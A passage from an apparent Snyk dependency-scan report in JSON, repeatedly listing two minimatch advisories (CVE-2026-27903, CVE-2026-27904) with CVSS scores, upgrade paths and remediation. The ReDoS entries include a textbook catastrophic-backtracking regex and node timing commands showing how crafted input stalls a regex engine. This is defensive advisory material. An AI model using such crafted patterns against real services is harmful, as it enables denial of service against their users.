"primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 